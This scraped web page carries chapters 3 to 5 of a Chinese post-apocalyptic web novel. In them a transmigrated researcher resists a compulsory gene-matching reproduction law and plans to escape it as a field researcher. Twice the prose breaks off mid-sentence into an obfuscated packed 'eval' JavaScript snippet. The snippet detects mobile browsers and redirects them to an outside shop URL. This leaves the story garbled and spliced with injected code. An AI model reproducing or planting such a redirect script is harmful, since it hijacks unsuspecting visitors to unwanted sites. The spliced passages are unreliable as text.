《降临日[末世]》 3. 003 子宫,末日繁衍中心。 末日刚开始的几年,人口一直呈现断崖式负增长,几乎没有婴儿出生。因此主城中央成立后的第一件事,就是建立子宫,颁布强制法令,要求所有适龄男女去子宫输入基因信息,等待配对。 就像旧世界的那句龙生龙凤生凤的俗语一样,一等公民结合生出的孩子,先天拥有高基因的概率十分高,如果父母双方基因等级都达到了A+及以上,那么他们生出高基因孩子的概率甚至接近百分之百。 末世已经运行五十多年,配置基因药剂所需的材料已经所剩无几,除了主城中央的高层现在还有机会让自己平凡的孩子后天注射变异药剂外,其余人的命运从一出生就定下了。 所以为了实现基因变异者数量的最大化,也为了最大程度的扩大先天变异者群体,目前子宫进行配对的唯一标准就是基因匹配。 梁燃是个三等公民,因此她上周匹配成功的男人也是一个三等公民。 她不认识他,也从来没有见过他。 匹配成功后,系统把男人的联系方式发给了梁燃,当时梁燃用短信尴尬地问了句好,但男人一个字都没回,梁燃猜测对方应该是回复的过程中突发重疾死了。 没想到他只是没礼貌。 不远处就是监控,梁燃没展露出情绪,她去厨房给自己倒了杯水压惊,之后转身回到卧室。 一关上门,她就垮下脸,把拖鞋一脚踹进床底,然后对着地毯好一顿踩,厚实的隔音垫很好的把她的焦虑与烦躁隔绝在狭窄的房间内。 这几年,主城不断修订法令,把适育年龄一降再降。梁燃早就到了规定的生育年龄,但因为她穿来那天为了活命把诸多强效药剂注射进身体,身体状况一直不适合受孕。 在最近的一次身体检测中,她体内的药剂终于代谢干净。 梁燃看着手机屏幕上那言简意赅的几个破字,吐出一口浊气。她当然可以找个借口拖延几天,十几天,但无论怎么推延,问题总要面对。躲避并不可取。 “所以要怎么办呢……” 梁燃盯着手机思考起来。 事实上,从她知道这个世界有强制繁衍的法令后,就一直在思考对策——比如注射药剂让自己的身体维持在难以生育的状态,或者干脆让自己永远无法生育,但这些都没有执行的可行性。 首先研究所的药剂是严格管控的,她用了哪些全部有精准记录,其次即使她用了些手段弄到药剂,但异种研究所里的药物都是作用在异种身上的,具有强大的灭杀性以及不确定性,一旦注射,她失去的大概率不仅是生育能力。 最后,也是最重要的,末世已经持续五十二年,繁衍法令也颁布了三十余年,梁燃只有二十三岁,她如果是原住民,自出生起就会被这个法令笼罩,配对与繁衍成了共识,生育与存亡挂钩。 她无法表达她的不满,也不会有人帮她一起解决这个问题。 梁燃一边思索,一边趴在地毯上,艰难地用扫帚把刚踹到床底的拖鞋扒拉出来,忿忿穿回脚上。 好烦…还要找拖鞋! 卧室床头的镜子上照出了梁燃此时的表情,虽然神情焦灼,却是少有的鲜活。梁燃的余光扫到镜子,冲它呲了下牙。 世界以拳揍我,我疼的呲牙咧嘴。 梁燃苦中作乐地调侃了下自己。想了半天,最终决定明天还是先去子宫一趟。 子宫监管异常严格,梁燃还没去过内部,只是一周前在大厅提交了基因样本,明天正好实地了解一下,再找个借口打发走男人,从长计议。 * 第二天上午八点,梁燃先去了监管部。 主城的白天就和夜晚一样无聊,巨大的人造太阳被数千米高的高塔架起,发出亮目而刺眼的光线,虽然夜晚已经死去,但红月并没有消失,其中一个红月悬挂在主城之上,剩下两个悬于远处的荒原无人区。 这个世界原先不只有三个红月的。 五十二年前的某个夜晚,七个红月骤然降临,突兀地悬挂在世界版图区域上,引发全人类的恐慌。 其中一个月亮刚出现不久就逐渐褪去色彩,如同天狗食月般,伴随着它红色光影的逐渐消失,数不清的怪物从那个月亮上坠下,落在地面。 那一夜,那个消失的红月曾笼罩过的城市被命运按下了暂停键,哭嚎声响彻一夜,鲜血浸透大地,只有少数活在城市边缘的机警者驾车飞速驶出城市,去往其他红月区,才堪堪保住了性命。 之后的数十年里,太阳消失,人类失去自然光源,国家集齐全部科学家短时间内制造人造太阳,但危机并没有暂停,就像恐怖诞生的那夜一样,天上的红月一个个熄灭,各种超乎人类想象的异种降临地球,存活的人群不断往红月依然照耀的地区聚集,最后汇集荒原,建起高高的城墙。 现在,那些荒芜人烟的被怪物侵占的地区被称为红月区,也就是污染区,城墙内被叫做希望区,分为主城与外城两部分。 而人类历史翻开新历程的那天是新历第一天。 也叫做降临日。 当然这些都与梁燃今日行程无关,她今天要做的事情早就排得满满当当—— 先去监管部消掉举报信息,再去实验室观察昨天异种心脏的情况,最后去子宫和她从未谋面的男人聊聊生育这件事。 想到这儿,梁燃下意识打了个寒战。 她赶紧拍了一下脑袋,以示先把晚上的安排忘掉。 到中央大楼了,梁燃轻车熟路地往大厅走去,过门时,有个穿着制服的棕发灰眼的男生拦住了她,男生先是扫描了她的眼睛,而后示意她稍等。 “三等公民梁燃,”男生一边看系统传给他的数据,一边念道,“昨日有条举报记录尚未消除,已经提交申请八点前往核实,根据你以往的记录来看……” 念到这里,男生的声音突然诡异地停顿了一下。 他抬起头震惊地看了梁燃一眼,原本坚定的声音都变小了: “这是您...你第七千四百二十九条举报信息……” 梁燃坦然自若,甚至指责了对方一下:“大惊小怪。” “我今年没怎么被举报啊,只有三百多条,不信你仔细看。” “啊……” 男生不知道做什么反应了,他总觉得梁燃这句话好像是想讨个表扬,但他又觉得不会存在这么不要脸的人类。 他转移话题:“让我们先检查下手。” 男生飞速确定梁燃的双手没有任何伤口后,侧过身子放行。 “你快走吧。” 梁燃“嗯”了声,越过男生,径直上了电梯。 因为怪物寄生后的人类会产生未知磁场干扰机器判断,无论怎么检测都是没有问题,所以用仪器检测手部是否有伤口的方法并不可靠。 目前人类判断异种寄生的方法仍是最简单的肉眼观察。 很麻烦,但也没有办法。 叮—— 监管部在四楼,电梯门一打开,梁燃就被闹哄哄的声音吵到。 一个戴着一等公民胸牌的男人正在拍着桌子大声嚷嚷,“你就说能不能办吧!我弟弟不就是回城途中污染了几个二等民吗?” 嗓门变异者? 梁燃好奇地看向男人。 男人愤怒的声音仍在加大,他不耐烦地看了眼举报信息,手指摁在桌子上一点一点的: “他都已经死了!他的小队已经为人类牺牲了!死后还要被那群垃圾举报,你们是想他合不上眼吗?!” 对面的员工焦头烂额地搓着手:“抱歉抱歉,您稍等,我们也对水帆小队的情况非常痛心…我先看看举报内容…” 说罢员工举起了手里的显示屏,小声念道:“举报原因:污染无辜公民。” “水帆小队在回主城的途中,遇到了我去外城办事的姐姐,他们要求我姐姐找清水给他们清理身上的鲜血。” “我的姐姐靠近了他们,她的手指被划破了,她被蜘蛛寄生了,她死的时候血液里都是米粒大小的黑色蜘蛛……我的姐姐是二等公民,曾在研究所工作,她也为人类做出了贡献。” 梁燃偏了下头。 她知道这个举报信息来自谁了,毕竟她前一个助手曾跟她讲过自己的妹妹,是个可爱的有些冲动的小女孩,现在看来,她那死去的助手说得确实没错。 听了员工小声念叨的话,男人顿时更加暴躁,他大力砸了下桌子,砰的一声巨响,刚才还闹哄哄的部门大厅瞬间安静下来。 男人面前的木质桌子上出现了一个清晰的指印。 愤怒让他的面部都扭曲起来:“你们到底有没有脑子?我弟弟当时也被寄生了!不是他让那个下民找水的,是他身体里的异种!他是无辜的!” 梁燃打量着男人,这时有个装扮考究的女人发现了她,向梁燃快步走来:“我刚才在处理工作,举报内容我已经看到了,我们今天还是走照常流程。” “好的。” 干练女人胸前挂着自己的名牌,一等公民,姚音希。 她明显在监管部有着较高的职级,她一出现,那个正被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701042|144448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人针对的小员工就小声问了声好,女人摆了摆手,转身带着梁燃往里面的房间走去。 因为监管部部长与梁点的过命交情,梁燃的所有举报都会越无数级直接传到部长手里,那人不想错过任何可以揭穿梁燃是害死梁点直接元凶的可能性。 而姚音希身为部长助理,一直负责处理梁燃的举报信息。 进入房间后,姚音希从书架最末的位置抽出一张纸,她拿着纸在梁燃对面坐下:“有人说你侮辱梁点前指挥长,是吗?” 梁燃垂下眸,选择了一言不发。 她相信她昨夜刚写完的日记此时已经拍到姚音希的手机上,多说无益,此刻她不用进行任何解释。 如梁燃所料,姚音希轻叹了口气。 “又是这样。” 她们类似的对话已经在最近的一年里重复了很多遍。 “你或许该去看看心理医生…”姚音希的声音放轻了些,“我是说,许多研究员的精神状态都不太好,如果需要的话,我可以帮你介绍。” 梁燃摇头:“不用了,谢谢。” “好,那我这边没什么问题了,你可以走了。”姚音希低头在文件上写了几个字,示意梁燃自行离开。 梁燃没有犹豫地站起身,她面无表情地拉开门,走向不远处的电梯。 任谁看到此时的梁燃都不会猜到她正在心底里小声夸自己。 压抑太久容易憋死。 梁燃前两年完全按照原主冷漠压抑的性格在生活,后来发现再这样下去真的要崩溃了,就试探性地往其他方向偏了偏——比如因为压抑过头所以会偶尔攻击人,比如攻击别人的目的是想要惩罚自己——从效果来看,她这两个小小的自由发挥没出现什么问题。 梁燃等电梯的时候,那个男人仍在她身后不远处咆哮。 就像她实验室的助手都是二等公民一样,监管部的员工也基本都是二等公民,做的是服务行业。 那个员工明显是有些共情死去的同等级公民的,虽然害怕,但还在嗫嚅着拖延,并没有立刻消除相关举报信息。 梁燃思考几秒,转过了身。 “你知道吗?” 男人此时正在对着员工发脾气,完全没注意到梁燃是在跟他说话。 梁燃走上前,轻轻拍了下他的肩膀,重复道:“这位先生您知道吗?” 男人的情绪突然被梁燃的动作打断,他梗了下,不耐地转过脸:“你说什么?” “从您弟弟的伤口来看,他是在进入希望区前的两天被感染的,准确来说,是三十到三十二个小时,”梁燃认真说道,“而根据相关监控显示,您的弟弟进入外城后,不到两个小时就污染了五个人,无一例外不是二等公民。” “根据研究所记载,寄生类蜘蛛种完全控制人体大脑的时间是四十个小时,所以他进城的时候是清醒的,甚至还用了些手段把城门的检测者给支开了。” “您的弟弟好像是个垃圾啊。” 说到这儿,梁燃没给男人反应的时间,又指向自己的胸牌:“众所周知,外城是三等公民的居住地,若非工作,二等公民很少去那里,所以为什么您弟弟找来帮忙的五人,恰好都是二等公民呢?” 因为他觉得三等公民连垫背都不配呀。 男人听懂了梁燃的弦外之音,他先是略显慌张地看了周围一眼,又试图用暴怒来掩饰住自己的心虚。 但男人的唾沫星子并没有喷在梁燃身上,姚音希走了上来。 她回忆着刚才梁燃在言语上突然爆发的攻击性,忽然有些心疼—— 这三年来,一直是她在负责分析梁燃的日记,她没有看出这个女孩隐瞒了什么。 她自认现在的自己是世界上最了解梁燃内心的人,她比谁都清楚梁燃偶尔爆发出的攻击性已然属于一种精神疾病,目的只是想让对方攻击自己,用来实现一种姐姐死去后的自我惩罚。 也不知道梁燃现在是不是又想起了姐姐,她每天到底是有多伤心…... 注意到姚音希的视线,梁燃有些莫名其妙,总觉得对方的目光很是诡异。 但想不明白就不想了。 梁燃把手缩进袖子里,偷偷搓了搓手指。 她反复回味刚才怼人的全部细节。 最后得出结论—— 骂爽了就会心情好,心情好了就会身体好,身体好了就会活得久。 所以今天也强身健体了。 想到这儿,梁燃自顾自地点了下头。 就奖励自己多解剖两个小异种吧。 4.004 最后闹事事件以男人落败结束。 姚音希调出详细资料,经过短暂的浏览,确证了梁燃说出的每一项数据都是准确的。 “驳回消除诉求。”她直接道。 “无论有没有这个举报,你弟弟的所作所为都会被总部在猎杀者队伍里通报。” “但这个数据监管部保证不会流出。” 监管部部长与副部不在,姚音希就是管事的,而且她的基因等级是A,比虽然同为一等公民,可基因等级只是C的男人高上太多。 “那她是怎么……”男人意有所指地扫了眼梁燃的胸牌,“她只是三等公民。” “这不是你该知道的。” 姚音希做了个“请”的手势,下了驱逐令:“请回吧。” 男人敢贬低驳斥小员工与梁燃,但并不敢顶撞姚音希。他面色涨红地说了声“行”,临走前虚张声势地瞪了眼梁燃。 意料之中的结果。 姚音希毕竟是一等公民,最终要维护哪个群体的利益不言而明,把男人的弟弟在一等公民群体里批判一圈就算了,绝不可能把这人的恶劣行径扩散到二三等公民当中,毕竟这会造成一等公民群体的声誉受损。 “我也走了。” 梁燃跟姚音希告辞后,直接去了研究所。 今天的工作量并不大,她先是处理了新来的两个异种断肢,又去完善先前蜘蛛寄生种的资料,最后对昨日裂口人鱼的心脏做了详细记录,等一切结束后,正好到了下班时间。 今天小助手请假了,大概是没想好怎么面对他刚举报过的梁燃,尤其是举报之后,梁燃这边还无事发生。 “傍晚七点三十八分。“ 梁燃独自收拾好东西,看了眼时钟,打开语音记录仪对今天的工作进行收尾。 “今天没什么特别的收获。”她说道。 “新送来的断肢属于节肢类异种,但因为样本体积过小,无法确定该异种是蜈蚣种的哪一类,不排除变异种的可能性。” “另外,裂口人鱼的心脏在脱离主体的第二十二个小时,彻底失活。” 说完,梁燃揉了揉肩膀,关闭了面前的心脏培养皿,然后把透明柱形仪器上的十几条和手指差不多粗细的长管拔掉。 这些管子有往培养皿内输入营养液的,有实时监测水质酸碱性与温度的,也有抽取心脏表面与内部物质,提取基因信息的。 离开实验室前,梁燃照旧在挂在门上的每日记录表上写下: 【52.8.2,依旧没读出心脏部位任何基因信息。】 如果有人往前翻梁燃的每日记录,就会发现,这句话贯穿了整个记录本的始终。 不过也能理解,毕竟一个物种的基因信息如果被彻底破译,就意味着它再也无所遁形,一切行为都能解读,甚至预测。相应的,针对性的基因武器也可以研发出来。 而目前的人类显然没走到这一步。 大概是由于科技水平的限制,异种的基因信息至今无法用人类的检测机器全部读取,人类最先进的仪器也只能解读出一部分,尤其是心脏部位,至今还是一片空白。 并且这种空白短时间内不可解。 因为机器对异种心脏基因的反馈并不是无法解读,不是“我读不出来”,也不是一堆乱码与混乱密集的图谱,而是“此处不存在”。 这是令所有研究员都焦头烂额的一件事, ——那颗心脏明明就在那里,在培养皿里,在解剖台上,但机器告诉你那里什么都没有,是人类的眼睛出了错。 有时候梁燃也会怀疑自己的视觉与触觉。 但握在掌心中的,跳动的心脏会告诉梁燃,它真实存在,只是无法被机器发现。 这实在太离奇了。 所以人类想要战胜异种,还有非常漫长的路要走。 关好实验室的门后,梁燃往研究所外走去,现在时间还不是很晚,许多实验室的灯还亮着。 有几位研究员的年龄已经颇大了,他们戴着旧世界的老花镜低头看着文件,因为梁燃表现出的性格很孤僻,所以与他们都不熟,只是知道最年老的那个已经八十多岁,在末世来临前就是药物方向的知名学者。 那个老人也是三等公民,是除了梁燃以外的,研究所内唯一的三等公民。 梁燃面色沉静地路过老人的实验室,就在她准备推开研究所的大门时,忽然隐约听到了老人的咳嗽声。 那声音极为短促,像是有人在捂着嘴极力掩饰着难受。但咳嗽不是想停就能停下的,断断续续的声音不断涌入梁燃的耳朵。 梁燃脚步一顿,从背包里拿出一瓶没拆封的水。 她转身回到老人实验室门口,弯腰把水轻轻放在了置物架上。 “谢谢小姑娘啊。” 猝不及防的,门内突然传来老人的道谢声。 实验室的玻璃是单向的,梁燃看不清里面的场景,但老人可以看见她。 “…不客气。”梁燃停下了离开的脚步。 不知道为什么,老人并没有止住话头,让两人的关系维持在最基础的社交关系上。 “我知道你,你叫梁燃。” 因为已经衰老,老人说话的声音有些小,需要梁燃凑近门去听。 听清后,梁燃“嗯”了一声,“我也知道您。” “我听过你在记录仪里说过的话,你对异种的分析非常好,非常好。”门内老人的声音很柔和,“那些研究成果暂时不属于你也没关系,不要难过。” 老人的话十分突兀,但梁燃听明白了她的意思。 她极快地点了下头,并没有回话。 老人也没有再往下说,她给梁燃推荐了个地方,“音乐节快到了,我听到广场的音乐声了,你想的话可以去听听。” “有机会的话。”梁燃回。 因为老人的推荐,梁燃离开研究所后并没有选择坐城市铁轨,而是绕了十几分钟的路,步行去了中央广场。 这会儿穿着浮夸的朋克乐手们正在广场上调试设备,时不时就有激昂的鼓点声从他们手下传出,即使音乐节明天才正式开始,依旧有几十个观众零零散散地站在周围,身体跟着鼓点微微晃动。 这是末世少有的娱乐项目,现在世界异种横行,每天都有人死去,明目张胆的享乐似乎成了罪恶,所以主城并没有什么娱乐设施。 但压抑到底就会崩坏,因此在斟酌讨论后,二十年前,主城宣布每半年会举办一周的音乐节,在这个周,只要音乐响起,大家就可以在广场跳舞狂欢。 梁燃听说在七年前,因为某次音乐节发生了踩踏事件,两个公民当场死亡,所以主城下令不再举办类似节日,结果接下来的几天公民自杀率飙升。 于是音乐节紧急重启,并且长久保留下来。 鼓点声断断续续,并不专业的朋克乐队敲着不知名的歌曲,梁燃在广场边缘的阴影处站了很久,直到手机闹钟响起,她才看了眼时间。 九点半。 步行去子宫的话,正好可以卡点到达。 …… 梁燃到子宫的时候,那个没礼貌的男人已经到了。 男人个子很高,皮肤黝黑粗糙,嘴唇有些皲裂,穿着不太合身的蓝色工作服,鞋子上还有些泥土,他的脸上没什么表情,只是在梁燃看他的时候,会露出一个略显拘谨的笑容。 虽然系统给男人标注的年龄是三十一岁,但因为长期的体力劳动,让他看起来与梁燃差了个辈分。 梁燃没有废话,直接问道:“是张林吗?” “我是梁燃,是个研究员,最近实验室任务很重,我还要加班,所以无法在这里久留。” 出乎意料的,男人绷紧的身体忽然放松了,磕磕绊绊地说了句“好”。 看起来不像是一个非常糟糕的人。 梁燃注意到这点,认真打量了对方几眼,意识到自己先前对男人的判断有误。 她想了想,询问男人:“你昨晚为什么突然联系我?” 男人看起来不太明白梁燃的意思,但还是回应道,“昨晚我...我的邻居提醒我看看消息,时间到了,子宫该给我发信息了,我看到了你的消息,所以就…” 梁燃抓住了话里的重点:“时间到了?” “什么时间到了?” 男人迟疑了下,声音低下来: “我的妻子两年前去世了,子宫规定我这种情况需要两年后重新匹配,我…”他的语气停顿一下,再开口的时候,声音更低了,“我忘记上个周就到时间了,我每天都要照顾花房里的花,很少休息,也很少看信息…没有人会联系我。” 梁燃撤回了先前对他不礼貌的控诉。 “抱歉,我不是故意提起的。” “听上去,你与你的上个匹配者感情很不错?” “很好,我们一直很好……”男人咳嗽两声,嘴角不自觉扬了起来,“其实我们不是子宫匹配的,我们认识很久了,是从小的邻居,我会帮她搬东西,她也记得我的生日…到规定年龄后,她带我去子宫做了基因配对,因为我们都是三等公民,F级,基因匹配,子宫就同意了。” 梁燃问:“你们有孩子吗?” 男人点点头。 梁燃:“.......” 她在心里怒骂了好几句。 这些子宫都没有告诉她,不过大概也是觉得她不需要了解这些。 她重新看向男人,从男人刚才的反应来看,他与他的亡妻是青梅竹马,自由恋爱,有一定的感情基础。 不过这种结婚模式梁燃无法复制,她长久处于监视下,接触不到三等公民,更没办法找个三等公民演员,与对方展开一段虚假的恋爱,注册结婚,成为抵制子宫法令的合作伙伴。 梁燃的思绪迅速转动,脑海里突然闪出一个主意——她是不是可以利用一下男人对他亡妻的感情。 如果男人愿意帮她一起拖延...... 假结婚怎么都比真生育好。 梁燃斟酌片刻,试探性地说道:“张林,我的工作很忙,实验室也偶尔会有刺激性药剂,我可能无法在规定的年龄生育,你能接受…” 梁燃还没说完,男人就直截了当地打断了她的幻想:“这是违背规定的。” 他憨厚地抓了把后脑勺,但说出的话很残酷:“违背主城法令的人,所有公民都有义务举报,我会举报你的。” 梁燃:“……” 男人重复道:“这是规定。” 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张林似乎是想起了什么场景,逐渐停下脚步,往两人的方向看去。 梁燃也顺着他的视线看去。 那两人直接走到了大厅中央的咨询台前。 女生身子前倾,两只手扒在高高的台子上,有些紧张地咨询道:“姐姐晚上好。” “我叫程玟,今年22岁,他叫韩冰,今年23岁。我们两个的基因等级都是B级,我们已经在一起执行了二十多次任务,救过对方好多次命。” “特别是上一次,我被异种撞进沼泽地里,怎么都出不来,那只蜥蜴种向我游来,我以为自己要死了,但他扑到我身边,后背被咬得全是血,如果不是队友赶来,差一点,差一点我们就都死了。” “我...我们符合子宫配对规定,也愿意履行生育义务,”女生仔细斟酌着每一个字,殷切地问,“请问我们可以在一起吗?” 站在咨询中心的中年女人微笑地点了下头:“当然,但我需要确定你们的基因等级。” 女生连忙把自己的胸牌摘下,递到中年女人面前。男生也急急忙忙去摘自己的胸牌,因为太着急,他几次都没有成功,最后还是女生出手帮忙。 “怎么傻乎乎的。”女生笑起来,露出两个可爱的小酒窝。 她肉眼可见的开心起来,眼巴巴盯着对面女人查询的身影,脚尖不自觉地踮来踮去,期待着下一刻成为世界上最幸福的人。 几分钟后,中年女人抬起头。 她把电脑屏幕转向女孩。 “恭喜您,”女人说道。 话音刚落,年轻女孩就激动地惊呼起来,她开心地扑到男生身边,满眼都是笑,手足无措地不知道要做些什么。 男生当即牵住她的手,又转而捧起她的脸,脸上是抑制不住的喜悦。 但女人的话还在继续—— “经过系统检测,程玟在最近几次任务中表现优异,已经超过B级界定范围。” “恭喜您,系统重新判定您的基因等级是B+,与您匹配的优秀公民的联系方式会在您23岁生日那天传到您的系统。” 注视着女孩瞬间煞白的脸,中年女人的话没有丝毫温度: “我会把你们的情况提交给执法者总队,你们以后不会在一个小队行动了。” “请严格遵守子宫规定,期待你们为主城做出更多的贡献。” 女孩呆滞地站在大厅中央。 过了许久,才伸出手指向自己,颤声说:“匹配...其他的?” “可我每次见到他心跳都会好快,他也这么说...” 梁燃闭了闭眼,没再看后续,转身快步走出子宫。 她从没进过子宫内部,没目睹过类似事件,因此也没想到,她竟然会为两个陌生的一等公民感到些许难受。 要知道,作为末世的最底层,梁燃没少被针对,甚至研究成果都没资格属于自己,因此她一向觉得心疼这群人就像工人心疼资本家一样愚蠢。 属于吃饱了没事干。 但现在梁燃有些茫然。 她的脚步越来越快,直到张林需要小跑着才能跟上她。 “我得送你回家,”张林说。 梁燃直言拒绝:“不需要。” 因为在想事情,她的音调冷漠异常,还带着谁都能听出来的不耐烦。 但张林没放慢脚步,他尽量跟上了梁燃的速度:“我得送你。” “茉莉说夜晚很可怕,要每天接妻子回家。” 这个语境下,梁燃很难猜不出茉莉是谁,她笑了笑: “我或许不会是你的妻子。” 男人错愕地瞪大眼睛,“可是规定上说......” 梁燃没听他说完,转身往家的方向走去,夜晚的凉风将她的风衣和短发吹起,她紧了紧外衣,说:“未来的事谁说得准呢,你也知道我的工作,我可能明天就会被解剖台上暴起的异种杀死,也可能活很久。” “最近听人说,我有可能会成为随行研究员。” “照顾好你说的那座花房吧。” 5.005 随行研究员,顾名思义,就是跟随猎杀者小队进入污染区的研究者。 男人显然明白这个称谓的意思,他怔愣地停下脚步,注视着梁燃的背影越走越远。 红月在地面洒下猩红色的月光,梁燃一边走路,一边不合时宜地想象起茉莉。 从张林关于妻子的只言片语里,她脑海里隐约出来了一个轮廓——一个有主见的勇敢女孩。 即便这个世界没人教导过她什么是“爱”,但她还是教会了张林怎样去爱她,最重要的是,她也有在好好地爱自己。 车子到了,梁燃按部就班地刷信息上车,踏进车门时,她隐约听到风中传来张林不太熟练的祝福声。 “如果…” 他稍微提高了些音量:“我希望能在、在回城名单上看到您...” “谢谢。” 梁燃转过身,礼貌性地点了下头。 回到家后,梁燃以最快的速度收拾好一切,端着刚泡好的咖啡直奔卧室书架,然后从书架最下面的一层抽出了两摞厚厚的笔记本。 末世时代,各类自然资源都极度稀缺,咖啡豆也早就无处生产,现存的那些都是用高科技封存保留下来的。梁燃当然没资格拥有这种东西,所以她家里的那丁点存货是她从研究所偷偷顺回来的,研究所对此也睁一只眼闭一只眼,毕竟敲个闷棍还得给个甜枣,梁燃一直在打白工,精神损失费肯定得给点。 现在梁燃泡了浓浓一杯咖啡,在床上盘腿坐好,两本笔记被她规整地摊在面前,摆出的是通宵学习的架势。 更准确来说,是通宵回忆。 从刚才梁燃和张林的最后几句对话来看,梁燃明显知道什么是随行研究员,并且把这个当作拒绝匹配者、逃离基因匹配的方式之一。 事实也确实如此。 梁燃刚才不是突然灵光乍现,也不是什么肾上腺上头,随行研究员的概念她早就知道—— 最开始是从原主的日记中了解到这个职业,毕竟这是原主的理想,之后她偶尔会在其他研究员讳莫如深的讨论中,听到些许关于这个职业的事迹,更有人在这三年里不断猜测梁燃应该很快会成为随行研究员,因为梁燃的命在他们眼里很不值钱。 听得多了,梁燃就去仔细研究过这个职业,并且发现这个职业可以帮助她暂时逃离子宫法令。 因为主城明文规定,正在任务期间的猎杀者小队成员可以暂停履行多项义务,其中就包括繁衍义务。 但梁燃始终没把它放在最优选,而是最不得已而为之的选择。 因为梁燃只是最普通的三等公民,无论是力量、速度、还是身体的恢复速度,她与污染区内的异种都没有一战之力。梁燃的确经常在这个世界感到疲惫,也不是很在意自己以后的死活,但这并不意味着她决定蓄意自杀,不意味着她想暴露身份被切片研究,更不意味着她想被污染区的异种撕碎吃光。 简言之,她真切地希望明天就世界毁灭,但今天跳楼是绝对不可能的。 只是刚才子宫里的氛围确实让她难受了…… 想到这儿,梁燃深深吐出口气。 她之前认为污染区是末世最恐怖的东西,但作为现代来的穿越者,刚才那种任由制度摆布的无力状态才更让她感到四肢发麻。所以现在的梁燃迫切地想要逃离这一切,并且再也不想因为什么基因匹配进入子宫,最起码近期都不要再进去。 而随行研究员这个职业能让她立刻逃离当前困境。 这已经是梁燃能想到的最快的逃离方式了。 此时已经是午夜十二点,夜幕降临,蓝紫色的极光在天边渐渐漫出色彩,与红月交相辉映。但梁燃没心思去关注窗外奇诡的美景,她灌了口咖啡,认真翻开两个本子的第一页。 它们的扉页上简明扼要地写明了记录重点。 ——《末世研究员随行守则》 ——《如何融入晨曦小队》 前者是解释什么是随行研究员,交代如何在污染区保住性命的,后者则是剖析如何以一个三等公民的身份融入高基因团队里,成为他们认可的队友。 晨曦小队是梁点的猎杀者小队,所以显而易见,这两个笔记是那个死去的梁燃写的——她在试图成为姐姐小队的随行研究员前做了充足的准备。 如今,时隔三年,梁燃再次沉下心去研究这两本她早就看过的书。只是以前的她是为了从中学习模仿梁燃的笔迹,内容倒是其次,而现在内容成了最主要的东西。 寂静的房间内,一时只有分针转动的“滴答”声。 梁燃快速翻阅纸张,浏览着里面着重强调的东西。上面把这个职业的一切都记录得很清晰。 ——随行研究员是有无限价值的一批人。 猎杀者小队进入污染区后,异种的侵袭总是突入其来,没有人有时间去查找异种资料,确立最佳的猎杀模式,更让人头疼的是,污染区有许多没被人类发现的新异种与变异种,所以猎杀者们经常要以生命为代价,去验证击杀异种的最优解。 但这时如果队伍里有个研究员,许多问题就会迎刃而解。 因为研究员常年与异种作伴,熟悉各类异种的体征,即便是全然不认识的异种,他们也能触类旁通,调动脑内信息进行推测,给出猎杀者们当下最合适的猎杀建议。 根据相关数据表明,有随行研究员的小队,队伍里猎杀者的存活率大幅提升。 但问题是,研究员的数量极少,以及他们在污染区很难存活下去。 目前研究所的研究员虽然以一等公民为主,但他们的基因序列等级并不高,几乎没有A级,更何况极为稀有的S级。而这是主城前期选择的结果,当初为了捍卫住主城安全,以及尽早召集一批人去污染区寻找物资,主城把最强大的那批一等公民全部安排进军队学习作战技巧,把次级的一等公民安排进研究所。 后面形成了恶性循环。 现在研究员基本都是B级与C级,一旦在室外遇到强大的变异种,或者遇到数量庞大的异种群,他们几乎没有逃脱的能力。 正因如此,猎杀者队伍已经很少配置有随行研究员了,但也有例外,比如那些拥有巨大发展潜力的新队伍。为了保全他们,主城会以重利利诱或者以家人为筹码,与失去科研能力的研究员进行沟通,让他们陪同新人小队前往污染区。 至于什么是失去科研能力的研究员—— 年老的、状态不稳定的、时日无多的研究员等等,这些都算失去科研能力的人,或者说,这些人正在迅速失去科研价值。 进入学习状态后,梁燃翻书的速度越来越快。 她的记忆力一向很好,也很擅长熬夜,曾经在旧世界常年稳居专业第一,最强的时候,她可以只睡几个小时,两天一夜刷完所有科目的考试资料,然后挤出时间整日泡在实验室里。 随着时间流逝,窗外的极光消失了,人造太阳被执法队点燃,世界从极暗骤然变得极亮。 刺眼的光照进梁燃的卧室,桌子上有水纹在轻微晃动,梁燃打了个哈欠,推了推半透明水杯,那些水纹顿时晃得更厉害了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722492|144448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梁燃弯了下唇角,半撑起脸颊,伸出手指追逐起可爱的影子。 “早安。” 玩够了,梁燃对着水纹轻声打了个招呼,把书桌上的本子放回原处。 走出卧室门的时候,她困倦地低下头,隐晦地对着不远处的监视器展示了下自己的黑眼圈。 “下次不通宵研究异种了。” 她嘟囔道:“看杯子都出现重影了。” * 早上七点,研究所。 林百来实验室的时候有点提心吊胆,毕竟就在前天,他干了人生中的第一件大事——举报了自己的顶头上司。 这造成了他昨天一大早就跟研究所请了假,在家里做了半天的思想斗争,他根本不知道要先跟组织汇报自己的创举,还是先去监管部领自己的奖金。 毕竟哪个都很让人兴奋。 但还没等他抉择完,林百就收到了监管部发来的举报失败回执。 附带的还有一张罚款单。 “怎么会这样?”他不解地问组织。 组织很快就给他了回复,“梁点指挥长死后,我们就派人长期举报梁燃,但从没成功过。” “怎么会举报不成功,她根本就不思悔改!”林百愤怒地回道,“我前天问她对梁指挥长的死亡怎么看,她竟然说自己从没想过以死谢罪!” “都是因为她,都是因为她,”林百谈起以前的事,“晨曦小队从没失败过,那么危险的深度污染区他们都活着回来了,结果竟然死在最普通的边缘污染区。” 